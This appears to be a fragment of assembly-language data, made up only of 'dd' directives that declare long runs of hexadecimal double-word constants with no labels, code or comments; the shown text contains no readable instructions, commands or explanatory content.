dd 361C25D9h, 0A9FE0581h, 0A3132FF9h, 4E4EB29Bh, 65B168B9h dd 5DDE2EF5h, 411480D8h, 36DE08FEh, 0A6380061h, 5B28D57Fh dd 50DE6F18h, 0B08DA25h, 0C5D09E4Eh, 3288545Fh, 7C8759Dh dd 2ACC4A30h, 723AF86Ah, 23552858h, 422BA71Eh, 0EFA6854Bh dd 2FF31F73h, 0C2FF6EF0h, 0BE0C37BAh, 67D47E86h, 0C036E42Eh dd 9022ADBBh, 4CAB92Bh, 3024E919h, 8C780448h, 29837601h dd 91227ED9h, 8AC874BAh, 20BD6670h, 20F7BFE8h, 2269F4ABh dd 7BA42A57h, 0ABDDF865h, 0C4A2D711h, 0DFF671D7h, 15832C64h dd 0A1B50011h, 0A3FBE79Bh, 35E8A61Bh, 363845A3h, 1D66D2F8h dd 0E61E2B5h, 48FD367Ch, 0AD6F11B6h, 62CA140h, 5E3F25CDh dd 2F399D54h, 900C0032h, 9FB4E403h, 0D5C18479h, 1CBCD39Eh dd 0E6C83DF1h, 78EF3A2Eh, 0FA418F57h, 0BA7C0CDBh, 201AE951h dd 0B3234EFBh, 1C203EE5h, 0B839F7FEh, 0EFF00F8Ch, 0F3C4BDD6h dd 0BD879A27h, 6C414D0Fh, 0D169F355h, 45A8BB9Fh, 257CA6CBh dd 8A518D3h, 0BCAF6662h, 7C81FE50h, 0E145A04Fh, 7DC75085h dd 1AD86077h, 8AF1FE90h, 0FDA33A70h, 818B3F03h, 6578C5B8h dd 6FED72DDh, 0DFA2A3D9h, 0DE79C090h, 3A283839h, 0DCB1F2FCh dd 250319F0h, 7ABBADB9h, 8091ADFBh, 0D2192922h, 6B07F90Ah dd 0F1B2B460h, 0B98D274Eh, 75160B26h, 72231FB1h, 8ECA553Ch dd 0B28065CBh, 8EF9CDD0h, 4FD151ECh, 6F96C6D2h, 141C6E20h dd 0B092423Bh, 618FA564h, 0AEF6CF99h, 0EE426959h, 0B03250E1h dd 29589669h, 6DF0069Ah, 7F5B041h, 0A5549D78h, 61C9D79Dh dd 646C5B89h, 0E5CF8DCFh, 7B4B3A44h, 0DBCFB97Ch, 4B67F28Fh dd 9FB73488h, 0E68938E7h, 0E2E14330h, 0E59F3916h, 0C69FE0Dh dd 49C62F67h, 3807EF08h, 8C0DD8h, 0A5A0F4F8h, 0B792F63Ah dd 96E42443h, 0F5241331h, 0FB209063h, 1381AA94h, 89E07256h dd 717F60Fh, 4968E26Ah, 5FE1942h, 0CD0F9651h, 0B87E373Eh dd 0CDB2700Ch, 0D8CA7412h, 758754A5h, 0BD614B43h, 0C8FB2C2Ch dd 8E95C84Bh, 0ED380C72h, 37FEC59h, 45D05D08h, 0B684E536h dd 0D388E330h, 0AFA6CF84h, 52675382h, 0A3E3CAF6h, 0CA680493h dd 6858AEBEh, 2555041Eh, 8A3EE1B0h, 0A890A6D8h, 1E446525h dd 1E918C27h, 4B787B15h, 0E3E4F5Eh, 22BEA027h, 0FBEF42C6h dd 4F28391Fh, 0E8400014h, 0B7CADDAAh, 0AFF6E980h, 3BF5DBE0h dd 84D32469h, 0D2E5E40Dh, 20C61810h, 0A1296CE5h, 3621DCE3h dd 0F33A0B1Ch, 305F4376h, 1B2B3FD1h, 0B1E80AF9h, 0BC4EFA09h dd 126E68E5h, 7C6B5AD8h, 1DCFFF97h, 85413CA1h, 0ED9907C2h dd 0E667F6A9h, 0E8E8F3EBh, 0BE383AF1h, 0FDC18FA8h, 0EB820B8Eh dd 8362679Fh, 8DF7740Eh, 40716E70h, 0D485634Eh, 1374B663h dd 212CAF91h, 997E752Fh, 63E5EA8Ch, 0C2F0BB30h, 2439A9C4h dd 97C38AF0h, 72522926h, 0B35FB078h, 52ADDBB2h, 9C23F74Dh dd 0DF411852h, 0A70F4F36h, 27410665h, 37F14BEh, 0BCB8CB83h dd 0A72EEDDBh, 8FF23CBCh, 7154D0C3h, 94E5DA79h, 139EDF7Ah dd 97ED0B45h, 8F93148Ch, 1CD78C7Ch, 5D80BD7Eh, 2818E1B2h dd 4A9D9402h, 57A734EAh dd 28C44669h, 56FAC29Dh, 9B16119Bh, 462DD5A1h, 725D3ACEh dd 7DBEDAB6h, 8BB469B3h, 18522E05h, 0C795CDC5h, 0B1A3ECFCh dd 0CF6C048h, 0BD887912h, 71212951h, 9E6070A7h, 1A9BA887h dd 0FA6664F6h, 2D99DE9h, 503E371Bh, 0B5735BE6h, 0E989A23Ch dd 760B1A6h, 94F873E8h, 7C510DB4h, 51EDD209h, 0A1635C4h dd 0B38463B7h, 0E94A24B6h, 0E2E41F07h, 335532D1h, 0FCE096D2h dd 2E09C68Ah, 0C1458B38h, 0B67924DBh, 5C00D220h, 64994421h dd 0C6565B46h, 1F094745h, 472A031Ah, 3EB3C211h, 0BD748C63h dd 9F03A68h, 0EFBFE39Ch, 0DBA481EBh, 0D3CB4E08h, 38AA4491h dd 6259D51Fh, 18FF4C69h, 5B24D0BFh, 93ACC9E9h, 3B1F44A4h dd 58F99E2Dh, 3A2AAD07h, 4B194C01h, 0A480870h, 0A8E058F3h dd 0CB286037h, 0CC4A7E7Ah, 8F3C193h, 5BA0809Ch, 6BAEF200h dd 0F211CBC8h, 0EF98D25Fh, 0DAB355F9h, 4B15942h, 6FD50A4h dd 0C168342h, 8271810Ch, 666B5333h, 3D6F8A67h, 52977D35h dd 77A9C13h, 89E6CE12h, 50F3517Eh, 77FD3571h, 7A0DBF55h dd 0D5323C4Bh, 0FF08D247h, 9A9DC22h, 7BD22395h, 0D39CBD88h dd 6C377945h, 81041C8Dh, 4DD3D9AEh, 2200520Dh, 5A1E35D6h dd 901A8CE5h, 0F6C4987Fh, 2B1B3EC6h, 0D3F49FE9h, 24558CD0h dd 5745F09Eh, 0B8A45D55h, 57F4AE16h, 54ECE7FDh, 0EC0117CBh dd 0C4AE7B20h, 87B09772h, 35E8500Ch, 0BC509276h, 41E78DCh dd 5705D81h, 9EC314A9h, 0C8FAACF6h, 1520B3D6h, 5866891Fh dd 14D8DFC9h, 52726F2Eh, 6846AA00h, 8B91CABh, 54229B06h dd 3F72065Ah, 0B74E67Fh, 1A048ABh, 739AEFF2h, 134079DAh dd 0ED6436D9h, 472713C3h, 6B861217h, 0DE5C2984h, 0C72A16E3h dd 1CFFC294h, 10027CAEh, 8A3A6EDEh, 14D5B892h, 24ACCC51h dd 2D6B65FDh, 85C734B2h, 0D2FD54EFh, 0CB948B7Fh, 395641E0h dd 95674A99h, 416BC5C9h, 4C469A02h, 729714B4h, 0E4B5C643h dd 71B0A717h, 2B74FC47h, 763BA88h, 0D9EEAFDCh, 3FDF7251h dd 0CFC981F8h, 0AC5603E6h, 2D05353Bh, 0E0C647BBh, 9B8FF25Bh dd 0B016372Eh, 1269D76Dh, 628F215Ch, 0C7E30C14h, 3F09B42Dh dd 0E2B19EF4h, 23FD10E3h, 0CB2F4761h, 0A08228C8h, 0E88A6A4Eh dd 0EC116B55h, 7AE21481h, 0BA8EA557h, 2DA00FDAh, 0D10B157Eh dd 22120A04h, 87F365EDh, 3006D4AEh, 0BBA4483h, 0EEEC4EAh dd 0CC620C25h, 1718544Ah, 82D0714Ch, 0F3DD993Ah, 5B8E502Eh dd 0B0A7CC77h, 90415519h, 641CE3BCh, 7D25A220h, 0E8DF425Ch dd 6210B082h, 0EE0CD2EFh, 31EBDAFBh, 0A2C7FCF4h, 673BF871h dd 7BAF87F4h, 0E9B062F6h, 829381D5h, 9CC884BFh, 1C43BC39h dd 0A2BBACh, 0CCC10F8Fh, 15CE68DDh, 19B70A9h, 90A3D3B6h dd 67254028h, 614A4FC6h, 0ECBF164Ah, 425F1D7Eh, 0A8507F0Bh dd 0E9B78BE5h, 0DF214130h, 4ABDBE61h, 8883B284h, 0FDB483B0h dd 0EE45174h, 0C0A782B5h, 0B86F2347h, 0D911CDCCh, 0BFBE83A5h dd 7A33F482h, 0A2CC82Bh, 0AE0F0DF1h, 449EC95Dh, 0E6F3EBE9h dd 302ACC61h, 9ED29864h, 0E2EE58EFh, 0B1A87FC6h, 84BBDD8Dh dd 32E7CAF9h, 916D162Dh, 2C4B7Fh, 65FEA623h, 0A56A8484h dd 698888D9h, 96389237h, 0A6160703h, 0FF2B864Bh, 4C7B2EA7h dd 4E36CDA8h, 0B67755D7h, 280A589Bh, 0FB83479Fh, 6E645008h dd 0F1C2E73Dh, 7B3E23EFh, 0FA24F93Ah, 0DCEE33Fh, 0B45857A6h dd 0BDDC85C7h, 0C3C7C425h, 27319E36h, 1AC80791h, 99A7F158h dd 0F7C4D65Ah, 517F83DEh, 0CB319562h, 0D75312A4h, 0A15A4D46h dd 0A05A63C1h, 96E1390Eh, 0ED0E400Ch, 4377094Bh, 0FFE3C0B6h dd 0CFC217AAh, 831EACF3h, 179A7CFBh, 0F0886B57h, 326B074Fh dd 51E40FFBh, 0E6D31993h, 1579255Fh, 88DD798Dh, 0AEA86774h dd 404C7E4Eh, 0D860560Dh, 1CF6B7Fh, 4F8B4FDAh, 8179C781h dd 49DCDCCh, 971FC666h, 3221454Dh, 11DE6176h, 5E903E63h dd 0D4D34CD0h, 0B06EA56Bh, 0C6FC3562h, 0DF676034h, 37184128h dd 72478AD2h, 8D779905h, 701C19BDh, 535584CEh, 7891984Bh dd 0E9ECE5F6h, 64ACB2Eh, 555AA1FAh, 498785EEh, 0BF0E0DD7h dd 5BC6CD3Dh, 9EBE583Eh, 541F16A6h, 3BA59AE0h, 25FE63A7h dd 856A5BBDh, 0AFDAEC17h, 0DFB16C75h, 0BBB361BBh, 659AAE8Eh dd 0A4CF28E1h, 34EF829Ah, 816B0B42h, 0DE921A50h, 9DC32913h dd 0B47C572Dh, 12A99FB5h, 434FA687h, 74C5AB72h, 0F4566CAAh dd 277405EEh, 0DCD49E0Ah, 5230A60Bh, 526BFF67h, 7C467879h dd 883BCCA2h, 0E6109CEAh, 0E87B7342h, 83BFA000h, 4AEAEC4Ch dd 5A2EF9CFh, 0F1C528A8h, 7C784232h, 0B02FB21Dh, 168D2397h dd 3CE83FBh, 8B2066A9h, 0DB9AF904h, 0F3398ECh, 0BF239FD5h dd 0C6BDB513h, 8C733E6Bh, 0AC99F47Dh, 0CDDD9E73h, 34554121h dd 0AE0F8C4Fh, 0B3138AEDh, 42D6B971h, 0D31B3F13h, 7B5195C6h dd 92AB53B8h, 0FEB23956h, 0E7C0FBE4h, 0D286339Ah, 26C46CB8h dd 69E996Dh, 794A8CB1h, 4C77B3DEh, 15EA3636h, 65AFAB7Ah dd 0C7D0C7Dh, 0E6E25A12h, 1D3295BDh, 57118B09h, 0F8267AB2h dd 0EA0A7BD8h, 8D06D4F5h, 0E3267788h, 40B834B6h, 1A822D8Dh dd 0EA2C74FFh, 0B4B10279h, 97062A7Dh, 8103E5AFh, 553DBE1Ch dd 453C241Fh, 5ACA0206h, 0A05531CEh, 0D68489ACh, 58380B84h dd 6A10C779h, 9DD30B7Bh, 701F0FBh, 74B983E1h, 692640B8h dd 0E8C2CA11h, 94A2F919h, 90732AFCh, 9F518DA8h, 0F58C37E0h dd 0EE68235Ch, 68184BACh, 3E79AE9Dh, 7C5F6FE8h, 4CB139E0h dd 0F17CC2EAh, 0B2F61381h, 6DC215AAh, 671BF3FAh, 63821E1Dh dd 14FC0712h, 0A05E1A85h, 26664F54h, 5C12D200h, 0B0E1D918h dd 0FD1209B6h, 854F144Eh, 8758E02Ch, 4A8BC69Ah, 0F25F9317h dd 8CE830BDh, 2AE82CF5h, 0F62D4C7Ah, 697614DCh, 0D97EA981h dd 0A869BDA0h, 38BD0F36h, 0E51022E4h, 3BC28D7Ch, 95429474h dd 0EE670057h, 570C4A1Fh, 28C3FE99h, 7D77A3AEh, 51860CFAh dd 0CC6CAF93h, 8C7E34F2h, 298F5677h, 37992579h, 0E7D90A3Ch dd 443C88DEh, 737B8ABCh, 743693BAh, 9F13B97Fh, 0C67AAD4Dh dd 48B0F391h, 0DD89C3BBh, 0BA0717F1h, 154EA23Ah, 0D82C45CDh dd 0DB67668Eh, 5ADC6DFAh, 9E78DC23h, 659F9828h, 0CE87874Ch dd 97699379h, 398C48BDh, 0FBC63546h, 3A3CC384h, 0D020EE4Ch dd 0E3615BCh, 500D54CBh, 0F138D5Bh, 75CA7077h, 0F1A442D1h dd 0ADDB9677h, 0EBC6CFAAh, 331F45C8h, 43DC8D05h, 0E6324F19h dd 72A36AABh, 5E0CB132h, 0D0059C49h, 1A3C81Ch, 74A09FECh dd 60861A7Bh, 0FAD17FA1h, 18048F07h, 0F0BECD24h, 0BCBC94Dh dd 0B028D13Dh, 142952E8h, 0BC32F480h, 3A288A2Ah, 0F58C0F54h dd 0AE28A3E3h, 18DD44C7h, 0AD1FDA1Fh, 0CEB94AF3h, 0A96841DEh dd 41360860h, 5C33EE7Bh, 3A519ACAh, 0F2AB6DE3h, 9504436Ch dd 0B0B335E3h, 0AF29F4AFh, 0E9FA826Ch, 0D35DDEC2h, 6BE6F227h dd 0D920146Ch, 6EDB3319h, 0BDD31842h, 0A632201Ch, 69294B57h dd 0DEFA80A2h, 127F5CE7h, 771D4397h, 0F6B622F2h, 4D0F24B2h dd 88318499h, 0DFE05F40h, 1666F1F0h, 0EEE68470h, 0D0862A49h dd 12E982CCh, 0D02D6B59h, 0ED3BD82Dh, 122F35A9h, 0C069088Ah dd 9EF8D0B0h, 0A617DD02h, 72E7B50Dh, 814B02DCh, 40D0FBA0h dd 161BBA11h, 0D4D918C4h, 717E7F53h, 8B4839EBh, 83B38CD4h dd 0D3AC04F4h, 560462CCh, 4512D2E7h, 1CEADD60h, 0D2FD6A5Fh dd 0EE0DCED9h, 73F1D537h dd 759B7CA2h, 294C633Ch, 76553D94h, 0E6ECC733h, 4E0C2502h dd 4239F495h, 4E67860Dh, 0F8941918h, 5F9B62CEh, 18971B6Dh dd 90B7F887h, 8FFDD5C4h, 5A42BFA5h, 512F3720h, 5AA7DFCDh dd 9DC7A18Dh, 5CFEF02h, 6C2F9749h, 63A14FE7h, 8156B62Ch dd 85F7AC60h, 48D4254Ch, 79348C15h, 116C372Eh, 3AD34754h dd 83B4A7B6h, 0CD4DBE38h, 0D4ACE6F0h, 9E11CCDCh, 0FF7D4377h dd 4FE9C308h, 0B5364E0Eh, 9AD600B9h, 68ED1BC0h, 0FB09A1F4h dd 4423C934h, 896939A0h, 0FC0FE1FBh, 13A33A5Fh, 9291D443h dd 743C0DBh, 58F94CE7h, 8425C78Bh, 0E58F99A7h, 0F22A1C27h dd 11A4860Fh, 5F4A206Dh, 586CB20Ch, 0CA37FAF0h, 0B10052D6h dd 0D20B4551h, 212439AFh, 0BB4F132Eh, 5D35DEFh, 0A468FED9h dd 0B20DBBCh, 0F5430DC4h, 0CD712F1Bh, 0E60FA552h, 49505C5Bh dd 4296B0EDh, 3C459B5Fh, 9DAC8589h, 32BADF73h, 48B0764Ch dd 0ED1CC6A9h, 0CC3C2C62h, 0BF100FB4h, 1303C19Bh, 2C8E3A21h dd 0B85B2B43h, 20B01E25h, 842D1A4Dh, 17BCE501h, 30D749DBh dd 4A38CFB2h, 0E92C32E6h, 0A8E04B21h, 0CACD7018h, 48132BCh dd 0C8F790E1h, 9083D5EEh, 1AB1E91Ah, 607BDD09h, 20E6ECFEh dd 0F45F2F4Eh, 2817BF8Ch, 0B5B630D3h, 1D5C451Dh, 9E165A18h dd 0C6FCA555h, 6EF8E53Bh, 8C1B3369h, 0B4179C55h, 0F14BC78Bh dd 2FB7CD29h, 2DD9D7B0h, 0BA35EAFDh, 226B3493h, 46703227h dd 934BB480h, 8119E5FCh, 5BF5912h, 0F7409579h, 0D97B0C5Fh dd 50B994ADh, 6B3BD137h, 60C9F571h, 3BD9C196h, 0C1F2664h dd 0F0C1513Bh, 4F27FCEFh, 4771F88Ch, 87ED6DACh, 0BB77B37Bh dd 0B15456D4h, 8ED7F3D3h, 42D9D41h, 0AFB24DA1h, 0E3AEA328h dd 0FFF62C9Ch, 0D57ACEF5h, 0C6B758C7h, 957D8F8Ch, 1E2B30FAh dd 6226F474h, 559BF602h, 26C1A172h, 0F1DB9598h, 0D273FB97h dd 457830BDh, 0F42129C9h, 60313682h, 32F3EC5Fh, 491E19C9h dd 77A7A4B8h, 0A3BBB620h, 0EC731780h, 0BFF113EDh, 0F0D2BAC7h dd 662A86F5h, 73D91E51h, 64ED7564h, 0E4751CA8h, 913CA667h dd 0DDE5A453h, 5B574C11h, 0CC3A67F7h, 1E61E819h, 7B0E3650h dd 4CD8C248h, 49CD49Ah, 3E155085h, 9B9643C9h, 58FCA436h dd 7DC1507Ah, 5FAFA1h, 49318891h, 0EEB105EBh, 0ECC98645h dd 0BE333DBDh, 4C84EBCh, 32B72ACFh, 40DEA94Bh, 0BABE597Fh dd 6A64C0DBh, 28491864h, 0D4AE4653h, 69EAFD0Ch, 0FA9D3EF9h dd 1CDA1515h, 0B0F33A19h, 0E6B8C9B4h, 0B4C268CCh, 0F18E83D7h dd 408C0E73h, 0BFC7530Eh, 0C9351C5Ch, 0FDAB9821h, 4E80EFFEh dd 4EEBF9C9h, 0D926E615h, 7DAAF189h, 0CBEDDEBh, 0B4F7119Ch dd 0F67CAA65h, 0DA52228Fh, 40BC084h, 8CB9CFE0h, 832E9B3Bh dd 0C29F2C94h, 6B275A6Bh, 0C47DF3DBh, 806D53CFh, 0FB078263h dd 0DC1D0F3Ah, 0A9B7774Ah, 0B5764F8Bh, 5226C461h, 0B934E1Eh dd 708DCB54h, 0C018AB0Ch, 5C817C59h, 0B2F535Ah, 3B8842E2h dd 5BBDFAE4h, 0D28F89C5h, 499527EDh, 1B48AA0Fh, 65C04E72h dd 583FC6DEh, 86CB96A4h, 83610DF9h, 11A8C1C9h, 239B414Bh dd 0B7F8B65Ch, 0CC2DA1D7h, 56CEE130h, 184D99BDh, 0E7BC821Dh dd 46969706h, 66FF2C5h, 0CE9D69D2h, 0A30CDFD9h, 45CAF60Bh dd 0AB0FBA3Ch, 652013AFh, 5D344AD5h, 5B581C15h, 0C4B97E66h dd 0C88ADEFDh, 12DE3E13h, 0A4EE8D77h, 1FCF45BBh, 0B4C1017Dh dd 0DACE4DB0h, 43DED5C8h, 0B4EC5079h, 0B35AE2E7h, 39E7D852h dd 0BD8BE21Bh, 0BF964DEAh, 62A97062h, 2FE52489h, 2BBA3E30h dd 0E8505798h, 17020698h, 102BD3CEh, 0AD0FBF9Dh, 186942D3h dd 3C4BDD42h, 8A342132h, 191FAB2h, 8A08F549h, 5CA917A8h dd 51510C2Bh, 0DF1456A7h, 95961B95h, 0D869C989h, 5DACF29h dd 0F75E4C7Bh, 4163944Eh, 0AD05FAA7h, 9DC90EDCh, 0C006FB28h dd 2AE47A80h, 8ADFE395h, 5B5274EEh, 47278A25h, 942A157Eh dd 57AE27C2h, 292C66B4h, 59A23C28h, 912FCFC7h, 0FBC29EECh dd 3467DC4Fh, 4A24C5F2h, 80F1C16Fh, 571A2C8Ch, 2EE8A246h dd 0E4F31853h, 6BAD8434h, 0AB79A152h, 57A6EE35h, 0FAB5DFDBh dd 94B2B9E4h, 0F6851502h, 12101798h, 6A62D70h, 0BA5DBE57h dd 2966DEB6h, 50BEF05Bh, 20E4994Eh, 0D62A9387h, 3A74E69Fh dd 3278CB92h, 0F3EC04B5h, 0F54F111Eh, 201CE381h, 2789C5D4h dd 0C43C723Eh, 0FD6252D8h, 74024F4Fh, 6412680Fh, 0CB503FA4h dd 0F3C2D135h, 0C96E32EEh, 5460EE8Bh, 7440AF8Ah, 2291283Bh dd 6F044BB9h, 91C1A497h, 0CB6B5C66h, 8C16822Ch, 0A57C37D9h dd 392CE23Fh, 0E3ADBF21h, 0E2DD6FF2h, 0C2EE5BAAh, 6B02CF5Eh dd 0F49FECC0h, 8B451E83h, 0E12B2C46h, 0B036A6Bh, 3F967A49h dd 31942101h, 1C8ECA9Fh, 9BD22935h, 149937B3h, 2ECB9E3Fh dd 0FE851FCEh, 0F842A5AEh, 0C180466Ah, 4CA804E0h, 15CAF206h dd 0EAE1DC31h, 0CE05A638h, 0C94831Fh, 512A9686h, 8373AA91h dd 163D6071h, 8F790F47h, 0E28B158Dh, 3BECFEBDh, 16E54DA0h dd 0C365C992h, 0ECF43388h, 0E57866DFh, 0FC158386h, 0FA1EF82Fh dd 4AD5257Ah, 0F4F782C1h, 45AEFED8h, 0C04F1F84h, 0A8C56830h dd 2F5779F4h, 961BBD2Fh, 7264B524h, 0F6039BA1h, 0B5F0EA4Ah dd 0D6CC0271h, 0B75A8F20h, 9680A4FAh, 939A1CADh, 456DE30Ch dd 0EF67957Fh, 29317607h, 279D144h, 5F26C28Eh, 71076DBDh dd 0E5658C68h, 0A6E5334Dh, 365C7B08h, 3D1FF071h, 0B5DCDEFDh dd 0A703E094h, 959E307Ch, 0DA726157h, 197A2644h, 9349809Ch dd 90F50492h, 20D14E06h, 70D98A77h, 0EB0FD3D6h, 10D2830Ah dd 4A1BBE65h, 0F6A87F58h, 0C9591E34h, 0E1C9E720h, 0CDA40B5Bh dd 0BD3D1443h, 1581350Fh, 0C50D1353h, 2CAA6396h, 0B48DDEE5h dd 19452611h, 0E1EEE748h, 0F33C6475h, 7BDFAA6Ch, 8A70904Bh dd 0BE3D90Dh, 0BC302CDCh, 4083996Dh, 0B0DA45A1h, 0F4D47829h dd 0AB7E0BE2h, 5DBDA7A3h, 0E4ABD503h, 2CF8A7DBh, 4D19D803h dd 0DCDEE364h, 68D41355h, 0AE1D3BDDh, 0D9A0479Fh, 868215D5h dd 422D0388h, 292B92E1h, 0F7985C2Eh, 0F161CB5h, 0C06B3EFFh dd 5066C8CDh, 0BEA152D9h, 589C9D4Bh, 0F5BA94Fh, 8CF35DA4h dd 8074AC82h, 4952733Eh, 0AE96733Dh, 82892B7Ch, 0DDD17482h dd 8097AEA1h, 0AB9E0BDFh, 0C74EEDE9h, 5CFDF532h, 5A0A5270h dd 0BD79034Ch, 804C35AFh, 90B4C38Fh, 0ADEC69A4h, 8E3A556Ah dd 83EB81C8h, 0AA9C6851h, 0BB6B7178h, 42996F9Bh, 30D072B0h dd 5624B566h, 0EDA99A02h, 452A9649h, 0F19E9DF4h, 908C442Ah dd 0AE4DCA1Dh, 8ACC9FBFh, 9DBA9B17h, 0FDEF93A9h, 6AA950A2h dd 0AF3C25CEh, 8CFD00E4h, 33A77D1Ah, 131F7173h, 0D58B7BE5h dd 6942DAF9h, 0AA0C044Bh, 2544C1E2h, 7C2B2A19h, 0DE386694h dd 0BC9A5D22h, 2E0C387h, 802FE0C1h, 289DF076h, 2A4C894Dh dd 0F851E759h, 9503FB84h, 4D13877Dh, 438AF1D5h, 6A584E80h dd 0A9A30E80h, 5BA6DE52h, 0BDD417FEh, 2E11CD91h, 3D1D1219h dd 7F69549Eh, 16F17323h, 0E2481310h, 0EAC2C1D0h, 9EA6E7DDh dd 6297A8D3h, 0D19B6ADAh, 6811B040h, 233F618h, 8411AD85h dd 0DB7C046h, 0EE07E796h, 0A849640Fh, 25A197CAh, 0A84D39A5h dd 33090420h, 0BDA3AA32h, 8A97FE78h, 52F4BF52h, 83C9A200h dd 5E3BAC1Bh, 0CD206C3Eh, 717985A0h, 6433D20h, 0A53C7BDFh dd 3CB9EA54h, 0E28D4B4Dh, 14318DF5h, 4C82C5A0h, 0F3158908h dd 0E8D7881h, 3208F62Dh dd 0A7853367h, 5C7376BEh, 0C65A507Fh, 65705CD3h, 4F2AFC05h dd 0A5D5B8D0h, 1D43D5C1h, 62609B77h, 8E10912h, 365330FFh dd 7AC86BEDh, 1FA29359h, 0E81CC267h, 0AD910D82h, 0EEEB9507h dd 0ABA35F37h, 354EB82Ah, 5D53A9B9h, 745A99FFh, 0A18047F0h dd 0A5436CEDh, 0BAF6CEF8h, 7F91A193h, 0D487DE9Eh, 4A7D5FCBh dd 8AD150C2h, 0B7BA22A2h, 336A72F0h, 2E2EA3A4h, 0CC0BD73Eh dd 5483FD9Eh, 0C16E3766h, 3B7BE83Ah, 0A4BD6CE3h, 6F620FE6h dd 0ED79B3CCh, 84845229h, 6134905Eh, 0C333F20Eh, 891FA4A7h dd 0BE7694B2h, 0DED7433Bh, 52359639h, 128718CCh, 0A9907D9Dh dd 0DE2FFD80h, 2448B168h, 924CED18h, 0A4D0BC80h, 18D507C1h dd 0E091D810h, 0B6D45835h, 2C4CE35Fh, 73231BF0h, 16169A78h dd 98F6BF7Eh, 64D5819Eh, 55FD914Bh, 6178884h, 41220698h dd 0B66A953h, 56FA3Eh, 5B3C2426h, 0F12FBE49h, 2F246D19h dd 7156B3A3h, 108E7F03h, 0EBCE4CC3h, 9509EBF2h, 0F27A257Ch dd 9DD8E0C9h, 0CE269ADEh, 0CD9C45B0h, 0FEAF654Fh, 0A3536D64h dd 0FAC1F74Bh, 0DF7AB74Ah, 3090DC00h, 0F4A0A8E6h, 1E60EBDFh dd 2863A37Ch, 232439E7h, 6BD6007Eh, 2FEABABCh, 8495EA80h dd 1EBA2CC1h, 8C7876B7h, 4FD00E42h, 2E13F023h, 821FE857h dd 5549C0Ah, 3CE2094Ah, 0D52786C8h, 0A5DC99C1h, 0B32F8347h dd 0D60F0364h, 0F61485C8h, 722D1973h, 0A1C61FBBh, 0BB2E57FDh dd 0EF2F5DC1h, 8456368Ch, 6EE346BDh, 0CCB10DB7h, 639E19AFh dd 3ADFBFF3h, 0E92BC810h, 420680D0h, 3DCFCC1h, 2896DB47h dd 0A7F18174h, 0BA1C6F32h, 6CD51BE8h, 57F50D6Fh, 75DF4192h dd 5FCDB1B9h, 4DE37986h, 0F03EBF1Bh, 0FC321811h, 8D928A84h dd 1188D246h, 0F63894C7h, 0A749B575h, 0CA21F688h, 0E6733681h dd 6604AC5Dh, 3CD4BD3Eh, 3F4D4140h, 0C198728Eh, 9778CFD1h dd 9D63C0Ch, 3F637764h, 0A7E3DF9Fh, 0FBDCFCDh, 0CBDD2B24h dd 0B2FF8C99h, 0C5A6D3E9h, 8FC718C4h, 1BF224BFh, 9757F576h dd 829BE30Eh, 61FD023Bh, 25B48FAEh, 2D7623AAh, 4001762Fh dd 5C3AE53Ah, 799DDFA4h, 0DFDF3461h, 16506E29h, 0A718ED4Ah dd 0B20D528Fh, 888AB64Bh, 722BC7C6h, 0B6D6FCE2h, 0BC0990CFh dd 5A529262h, 288D2EF6h, 0BF8FF32Ah, 6CA05F10h, 99EFA310h dd 97C7D7A9h, 7578CFF6h, 0C2D4A8B3h, 45C49DB5h, 0B79D0DC2h dd 81F40D08h, 74C6B23Bh, 7AB90AA3h, 0F2898972h, 0E1E68062h dd 0E42C4526h, 0F7755A32h, 69CD883Bh, 0BDCCBBDEh, 22348425h dd 3AB3FF67h, 3BA5D885h, 0DC19AEEAh, 230C4F02h, 0C2BAF492h dd 525954BFh, 0BEB6B027h, 478CD910h, 876B73A5h, 0D7873E6Ch dd 0F4FBB838h, 90FEFF14h, 2A8DBFE5h, 0D11DB715h, 0C5DA91E9h dd 692B95EEh, 52731BC9h, 81F4B931h, 3BEB44E7h, 0EC507097h dd 6B518301h, 8A4EE67Bh, 3D22EE24h, 0CED7DB3Dh, 132942C6h dd 0A50B7CBCh, 0B1405164h, 0D8C2D79Bh, 0BA7D9DB7h, 59BA4548h dd 0EC63B7E2h, 5B89CBC2h, 0D03ABDD4h, 0B5B06097h, 0A315B4F2h dd 0F4B0C55Fh, 7B3070E3h, 1E599589h, 0C3C59C12h, 0F34BF883h dd 0B2A28BFFh, 6D4A186Eh, 0A37F8B72h, 30FAF4DFh, 460C4246h dd 285E1D4Dh, 66F8FFC7h, 2F4B7D2Ch, 0D5169919h, 519D3F7Ah dd 0AFB3025Eh, 41B99C9Bh, 0F5D90D0Dh, 5593655Dh, 1C34403h dd 55588486h, 2646034Fh, 9106BFE5h, 9D67DA36h, 308A0C58h dd 98B81BD8h, 3AF411D2h, 109E4FC6h, 0AA43983Fh, 22F40C13h dd 54D7E721h, 0C2A79C87h, 67D3B6CDh, 0DBD34E3h, 0E4000E0Fh dd 72CA50h, 10E18348h, 5460161Eh, 0A87A3B4Dh, 0A49203FCh dd 5C83F638h, 0CD93B97Bh, 51A32D84h, 693F22DAh, 3770D23Fh dd 2B454050h, 12517A93h, 306C610Dh, 7987BE3Ch, 0B2AB8CBBh dd 8243AF2Eh, 0BB1A7516h, 0CE59B7E8h, 0E7556E65h, 3C155261h dd 0D3BCB0A8h, 72E3F14Ch, 469F624Ah, 0A0750425h, 16FDF914h dd 1BBB39B8h, 0BFAD07DEh, 0B765E4C1h, 247A5DC5h, 0DD3566A1h dd 3ABB0CC8h, 0C031075Fh, 0F88164E2h, 4127C424h, 0C8906371h dd 4F222096h, 0FCE3DBADh, 70AF0B32h, 0E145F218h, 5CBD5337h dd 2FC6D306h, 0E5BA5A75h, 280CB00Bh, 477836A6h, 0AEEFECE8h dd 17F3F5D3h, 5ED97F6Fh, 6208A2E4h, 0A28C8804h, 1105D88Fh dd 0C8B07935h, 0E150460Dh, 8EA8C9D2h, 3A14E75Fh, 54AAA2FDh dd 1B19AFC0h, 0E31337CDh, 83EB60C3h, 0EDA724A3h, 0AAEE50BCh dd 47365C2Ch, 86E14E77h, 835F437Fh, 13DD6A7Eh, 67926299h dd 0CB731DC5h, 78476E21h, 0CE4BA842h, 3B8C230Dh, 2A156B6Eh dd 0DCA738CDh, 90569BE8h, 0AED1BCFDh, 0EB3F2D78h, 5B9F90B3h dd 0A95210BCh, 83B3B199h, 0E01422DCh, 0B7C8D7C5h, 0B053B314h dd 1D5D8AF8h, 9E446FB0h, 0A584A734h, 0EC4918BCh, 2B3FB67Fh dd 56F03420h, 0DD1506C6h, 0A4056E83h, 89CFCA8Eh, 0D03B6506h dd 0E86F27CFh, 5E5413D4h, 370D3EF5h, 0F6FD6ACAh, 